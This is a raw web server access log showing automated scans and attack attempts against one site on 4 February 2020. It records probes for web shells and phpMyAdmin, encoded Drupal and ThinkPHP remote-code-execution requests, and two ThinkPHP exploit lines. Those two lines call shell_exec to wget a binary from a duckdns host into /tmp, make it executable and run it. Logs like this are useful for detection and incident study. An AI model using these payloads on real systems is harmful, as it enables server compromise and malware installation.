140.143.167.250 - - [04/Feb/2020:22:45:06 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:06 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:06 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:06 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:07 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:09 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:09 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:10 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:10 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:10 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:10 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:10 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:10 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:11 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:13 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:13 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:14 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:14 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:14 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:14 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:14 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:14 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:15 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:15 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:16 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:17 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:17 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:18 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
140.143.167.250 - - [04/Feb/2020:22:45:18 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
140.143.167.250 - - [04/Feb/2020:22:45:38 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:22:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:46:01 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
140.143.167.250 - - [04/Feb/2020:22:46:25 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:22:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:46:49 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
140.143.167.250 - - [04/Feb/2020:22:47:13 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
140.143.167.250 - - [04/Feb/2020:22:47:37 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:22:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:48:01 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
140.143.167.250 - - [04/Feb/2020:22:48:25 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:22:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.167.250 - - [04/Feb/2020:22:48:49 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
154.202.13.17 - - [04/Feb/2020:22:48:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
154.202.13.17 - - [04/Feb/2020:22:48:57 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
154.202.13.17 - - [04/Feb/2020:22:49:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
154.202.13.17 - - [04/Feb/2020:22:49:05 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
154.202.13.17 - - [04/Feb/2020:22:49:09 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
154.202.13.17 - - [04/Feb/2020:22:49:13 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
140.143.167.250 - - [04/Feb/2020:22:49:13 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
140.143.167.250 - - [04/Feb/2020:22:49:13 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
140.143.167.250 - - [04/Feb/2020:22:49:14 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
140.143.167.250 - - [04/Feb/2020:22:49:14 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"
140.143.167.250 - - [04/Feb/2020:22:49:14 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:49:21 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:33 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:49:37 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
154.202.13.17 - - [04/Feb/2020:22:49:38 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:42 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:22:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.202.13.17 - - [04/Feb/2020:22:49:49 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:54 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
154.202.13.17 - - [04/Feb/2020:22:49:54 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:54 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:57 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:57 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:57 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:49:58 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:01 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:50:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:50:01 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:01 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:02 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:02 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:02 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:05 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:09 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:09 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:09 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:10 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:10 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:10 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:13 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:13 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:13 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:17 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:18 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:18 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:18 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:19 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:21 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:21 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:21 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:22 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:22 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:22 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:25 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:50:25 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:50:29 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:33 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:34 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:34 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:34 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:35 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:37 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:37 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:38 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:38 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:38 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:41 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:41 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:41 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:42 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:42 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:42 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:43 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
212.91.246.72 - - [04/Feb/2020:22:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.202.13.17 - - [04/Feb/2020:22:50:45 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:45 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:45 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:46 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:46 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:50:47 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
140.143.167.250 - - [04/Feb/2020:22:50:49 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
5.141.139.61 - - [04/Feb/2020:22:51:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
140.143.167.250 - - [04/Feb/2020:22:51:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
140.143.167.250 - - [04/Feb/2020:22:51:37 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [04/Feb/2020:22:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.78.253 - - [04/Feb/2020:22:51:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
140.143.167.250 - - [04/Feb/2020:22:52:01 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
154.202.13.17 - - [04/Feb/2020:22:52:05 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:52:13 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
154.202.13.17 - - [04/Feb/2020:22:52:13 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
